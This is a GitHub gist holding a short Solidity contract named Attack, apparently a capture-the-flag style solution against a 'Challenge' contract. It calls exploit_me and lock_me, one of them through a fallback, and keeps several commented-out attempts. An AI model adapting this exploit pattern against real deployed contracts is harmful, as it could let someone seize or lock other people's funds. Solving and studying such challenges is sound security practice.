Created
August 15, 2022 16:51
-
-
Save bertil291utn/941750b5675f7f485c751aa1aed7cf0f to your computer and use it in GitHub Desktop.
Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.8.10+commit.fc410830.js&optimize=false&runs=200&gist=
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity 0.8.10; | |
import "./Challenge.sol"; | |
contract Attack is Challenge { | |
Challenge public challenge; | |
address[] public _winners; | |
constructor(address _challengeAddress) { | |
challenge = Challenge(_challengeAddress); | |
// _winners=challenge.winners; | |
} | |
// Fallback is called when DepositFunds sends Ether to this contract. | |
fallback() external payable { | |
challenge.lock_me(); | |
// challenge.exploit_me(msg.sender); | |
} | |
function attack() external payable{ | |
challenge.exploit_me(msg.sender); | |
address(challenge).call(abi.encodeWithSignature("lock_me()")); | |
// (bool success,bytes memory data)=address(challenge).call("lock_me()"); | |
// challenge.lock_me(); | |
// challenge.lock=true; | |
// challenge.exploit_me(msg.sender); | |
} | |
} | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment